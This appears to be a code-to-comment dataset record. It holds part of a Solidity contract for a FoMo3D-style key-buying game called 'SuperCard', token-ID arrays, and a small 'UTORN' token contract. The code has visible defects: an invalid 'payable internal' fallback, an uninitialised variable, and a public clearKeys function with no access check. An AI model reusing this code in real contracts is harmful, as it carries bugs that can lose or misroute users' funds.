round_[myrID].keys = (round_[myrID].keys).sub(tempnum);
usedGen = plyr_[_pID].gen;
}
eth_can_use = ((plyr_[_pID].win).add(plyr_[_pID].aff)).add(usedGen);
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
else
{
eth_can_use = (plyr_[_pID].win).add(plyr_[_pID].aff);
plyr_[_pID].win = 0;
plyr_[_pID].aff = 0;
}
return(eth_can_use);
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, SPCdatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 myrID = rID_;
// grab time
uint256 _now = now;
uint256 eth_can_use = 0;
// if round is active
if (_now > round_[myrID].strt + rndGap_ && (_now <= round_[myrID].end || (_now > round_[myrID].end && round_[myrID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
eth_can_use = genLimit(_pID);
if(eth_can_use > 0)
{
// call core
core(myrID, _pID, eth_can_use, _affID, 2, _eventData_);
}
// if round is not active and end round needs to be ran
} else if (_now > round_[myrID].end && round_[myrID].ended == false) {
// end the round (distributes pot) & start new round
round_[myrID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit SPCevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, SPCdatasets.EventReturns memory _eventData_)
private
{
// if player is new to roundใ
if (plyrRnds_[_pID][_rID].jionflag != 1)
{
_eventData_ = managePlayer(_pID, _eventData_);
plyrRnds_[_pID][_rID].jionflag = 1;
attend[round_[_rID].attendNum] = _pID;
round_[_rID].attendNum = (round_[_rID].attendNum).add(1);
}
if (_eth > 10000000000000000)
{
// mint the new keys
uint256 _keys = calckeys(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
round_[_rID].team = 2;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][2] = _eth.add(rndTmEth_[_rID][2]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 2, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, 2, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, 2, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
uint256 temp;
temp = (round_[_rIDlast].mask).mul((plyrRnds_[_pID][_rIDlast].keys)/1000000000000000000);
if(temp > plyrRnds_[_pID][_rIDlast].mask)
{
return( temp.sub(plyrRnds_[_pID][_rIDlast].mask) );
}
else
{
return( 0 );
}
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
return ( calckeys(_eth) );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
return ( _keys/100 );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(SPCdatasets.EventReturns memory _eventData_)
private
returns (SPCdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of SuperCard
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
pID_ = _pID; // save Last pID
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, SPCdatasets.EventReturns memory _eventData_)
private
returns (SPCdatasets.EventReturns)
{
uint256 temp_eth = 0;
// if player has played a previous round, move their unmasked earnings
// from that round to win vault.
if (plyr_[_pID].lrnd != 0)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
temp_eth = ((plyr_[_pID].win).add((plyr_[_pID].gen))).add(plyr_[_pID].aff);
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
plyr_[_pID].win = temp_eth;
}
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(SPCdatasets.EventReturns memory _eventData_)
private
returns (SPCdatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(30)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, SPCdatasets.EventReturns memory _eventData_)
private
returns(SPCdatasets.EventReturns)
{
// pay 3% out to community rewards
uint256 _p3d = (_eth/100).mul(3);
// distribute share to affiliate
// 5%:3%:2%
uint256 _aff_cent = (_eth) / 100;
uint256 tempID = _affID;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
// 5%
if (tempID != _pID && plyr_[tempID].name != '')
{
plyr_[tempID].aff = (_aff_cent.mul(5)).add(plyr_[tempID].aff);
emit SPCevents.onAffiliatePayout(tempID, plyr_[tempID].addr, plyr_[tempID].name, _rID, _pID, _aff_cent.mul(5), now);
}
else
{
_p3d = _p3d.add(_aff_cent.mul(5));
}
tempID = PlayerBook.getPlayerID(plyr_[tempID].addr);
tempID = PlayerBook.getPlayerLAff(tempID);
if (tempID != _pID && plyr_[tempID].name != '')
{
plyr_[tempID].aff = (_aff_cent.mul(3)).add(plyr_[tempID].aff);
emit SPCevents.onAffiliatePayout(tempID, plyr_[tempID].addr, plyr_[tempID].name, _rID, _pID, _aff_cent.mul(3), now);
}
else
{
_p3d = _p3d.add(_aff_cent.mul(3));
}
tempID = PlayerBook.getPlayerID(plyr_[tempID].addr);
tempID = PlayerBook.getPlayerLAff(tempID);
if (tempID != _pID && plyr_[tempID].name != '')
{
plyr_[tempID].aff = (_aff_cent.mul(2)).add(plyr_[tempID].aff);
emit SPCevents.onAffiliatePayout(tempID, plyr_[tempID].addr, plyr_[tempID].name, _rID, _pID, _aff_cent.mul(2), now);
}
else
{
_p3d = _p3d.add(_aff_cent.mul(2));
}
// pay out p3d
_p3d = _p3d.add((_eth.mul(fees_[2].p3d)) / (100));
if (_p3d > 0)
{
admin.transfer(_p3d);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
/**
* @dev
*/
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit SPCevents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, SPCdatasets.EventReturns memory _eventData_)
private
returns(SPCdatasets.EventReturns)
{
// calculate gen share๏ผ80%
uint256 _gen = (_eth.mul(fees_[2].gen)) / 100;
// pot 5%
uint256 _pot = (_eth.mul(5)) / 100;
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, SPCdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (2 * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit SPCevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
//uint256 public pre_active_time = 0;
uint256 public pre_active_time = now + 600 seconds;
/**
* @dev return active flag ใtime
* @return active flag
* @return active time
* @return system time
*/
function getRunInfo() public view returns(bool, uint256, uint256)
{
return
(
activated_, //0
pre_active_time, //1
now //2
);
}
function setPreActiveTime(uint256 _pre_time) public
{
// only team just can activate
require(msg.sender == admin, "only admin can activate");
pre_active_time = _pre_time;
}
function activate()
public
{
// only team just can activate
require(msg.sender == admin, "only admin can activate");
// can only be ran once
require(activated_ == false, "SuperCard already activated");
// activate the contract
activated_ = true;
//activated_ = false;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
//==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/======================================================================
function calckeys(uint256 _eth)
pure
public
returns(uint256)
{
return ( (_eth).mul(100) );
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function calceth(uint256 _keys)
pure
public
returns(uint256)
{
return( (_keys)/100 );
}
function clearKeys(uint256 num)
public
{
// setup local rID
uint256 myrID = rID_;
uint256 number = num;
if(num == 1)
{
number = 10000;
}
uint256 over_gen;
uint256 cleared = 0;
uint256 checkID;
uint256 upperLimit;
uint256 i;
for(i = 0; i< round_[myrID].attendNum; i++)
{
checkID = attend[i];
updateGenVault(checkID, plyr_[checkID].lrnd);
if (plyr_[checkID].gen > 0)
{
upperLimit = ((plyrRnds_[checkID][myrID].keys).mul(105))/10000;
if(plyr_[checkID].gen >= upperLimit)
{
over_gen = (plyr_[checkID].gen).sub(upperLimit);
cleared = cleared.add(plyrRnds_[checkID][myrID].keys);
round_[myrID].keys = (round_[myrID].keys).sub(plyrRnds_[checkID][myrID].keys);
plyrRnds_[checkID][myrID].keys = 0;
round_[myrID].pot = (round_[myrID].pot).add(over_gen);
plyr_[checkID].win = ((plyr_[checkID].win).add(upperLimit));
plyr_[checkID].gen = 0;
if(cleared >= number)
break;
}
}
}
}
/**
* @dev calc Invalid Keys by rID&pId
*/
function calcInvalidKeys(uint256 _rID,uint256 _pID)
private
returns(uint256)
{
uint256 InvalidKeys = 0;
uint256 upperLimit = 0;
updateGenVault(_pID, plyr_[_pID].lrnd);
if (plyr_[_pID].gen > 0)
{
upperLimit = ((plyrRnds_[_pID][_rID].keys).mul(105))/10000;
if(plyr_[_pID].gen >= upperLimit)
{
InvalidKeys = InvalidKeys.add(plyrRnds_[_pID][_rID].keys);
}
}
return(InvalidKeys);
}
/**
* @dev return Invalid Keys
* @return Invalid Keys
* @return Total Keys
* @return timestamp
*/
function getInvalidKeys() public view returns(uint256,uint256,uint256)
{
uint256 LastRID = rID_;
uint256 LastPID = pID_;
uint256 _rID = 0;
uint256 _pID = 0;
uint256 InvalidKeys = 0;
uint256 TotalKeys = 0;
for( _rID = 1 ; _rID <= LastRID ; _rID++)
{
TotalKeys = TotalKeys.add(round_[_rID].keys);
for( _pID = 1 ; _pID <= LastPID ; _pID++)
{
InvalidKeys = InvalidKeys.add(calcInvalidKeys(_rID,_pID));
}
}
return
(
InvalidKeys, //0
TotalKeys, //1
now //2
);
}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library SPCdatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 jionflag; // player not jion round
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
uint256 attendNum; // number of players attend
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 p3d; // % of buy in thats paid to p3d holders
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 p3d; // % of pot thats paid to p3d holders
}
}
//==============================================================================
// . _ _|_ _ _ |` _ _ _ _ .
// || | | (/_| ~|~(_|(_(/__\ .
//==============================================================================
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
/**
* @title -Name Filter- v0.1.9
*/
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
}
|
how to split up the final pot based on which team was picked lets start first round
|
{
fees_[0] = SPCdatasets.TeamFee(80,2);
fees_[1] = SPCdatasets.TeamFee(80,2);
fees_[2] = SPCdatasets.TeamFee(80,2);
fees_[3] = SPCdatasets.TeamFee(80,2);
potSplit_[0] = SPCdatasets.PotSplit(20,10);
potSplit_[1] = SPCdatasets.PotSplit(20,10);
potSplit_[2] = SPCdatasets.PotSplit(20,10);
potSplit_[3] = SPCdatasets.PotSplit(20,10);
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
| 1,229,803 |
[
1,
13606,
358,
1416,
731,
326,
727,
5974,
2511,
603,
1492,
5927,
1703,
25534,
14557,
787,
1122,
3643,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
288,
203,
3639,
1656,
281,
67,
63,
20,
65,
273,
348,
3513,
21125,
18,
8689,
14667,
12,
3672,
16,
22,
1769,
203,
3639,
1656,
281,
67,
63,
21,
65,
273,
348,
3513,
21125,
18,
8689,
14667,
12,
3672,
16,
22,
1769,
203,
3639,
1656,
281,
67,
63,
22,
65,
273,
348,
3513,
21125,
18,
8689,
14667,
12,
3672,
16,
22,
1769,
203,
3639,
1656,
281,
67,
63,
23,
65,
273,
348,
3513,
21125,
18,
8689,
14667,
12,
3672,
16,
22,
1769,
203,
203,
3639,
5974,
5521,
67,
63,
20,
65,
273,
348,
3513,
21125,
18,
18411,
5521,
12,
3462,
16,
2163,
1769,
203,
3639,
5974,
5521,
67,
63,
21,
65,
273,
348,
3513,
21125,
18,
18411,
5521,
12,
3462,
16,
2163,
1769,
203,
3639,
5974,
5521,
67,
63,
22,
65,
273,
348,
3513,
21125,
18,
18411,
5521,
12,
3462,
16,
2163,
1769,
203,
3639,
5974,
5521,
67,
63,
23,
65,
273,
348,
3513,
21125,
18,
18411,
5521,
12,
3462,
16,
2163,
1769,
203,
203,
3639,
14892,
67,
273,
638,
31,
203,
203,
3639,
436,
734,
67,
273,
404,
31,
203,
3639,
3643,
67,
63,
21,
8009,
701,
88,
273,
2037,
397,
20391,
7800,
67,
300,
20391,
14001,
67,
31,
203,
3639,
3643,
67,
63,
21,
8009,
409,
273,
2037,
397,
20391,
2570,
67,
397,
20391,
7800,
67,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract UTORN {
// Public variables of the token
string public name = "UTORN";
string public symbol = "UTORN";
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default
uint256 public totalSupply;
uint256 public datboiSupply = 50000000000;
uint256 public buyPrice = 500000;
address public creator;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function UTORN() public {
totalSupply = datboiSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give DatBoiCoin Mint the total created tokens
creator = msg.sender;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/// @notice Buy tokens from contract by sending ether
function () payable internal {
uint amount = msg.value * buyPrice; // calculates the amount, made it so you can get many BOIS but to get MANY BOIS you have to spend ETH and not WEI
uint amountRaised;
amountRaised += msg.value; //many thanks bois, couldnt do it without r/me_irl
require(balanceOf[creator] >= amount); // checks if it has enough to sell
balanceOf[msg.sender] += amount; // adds the amount to buyer's balance
balanceOf[creator] -= amount; // sends ETH to DatBoiCoinMint
Transfer(creator, msg.sender, amount); // execute an event reflecting the change
creator.transfer(amountRaised);
}
}
|
* Constrctor function Initializes contract with initial supply tokens to the creator of the contract/
|
function UTORN() public {
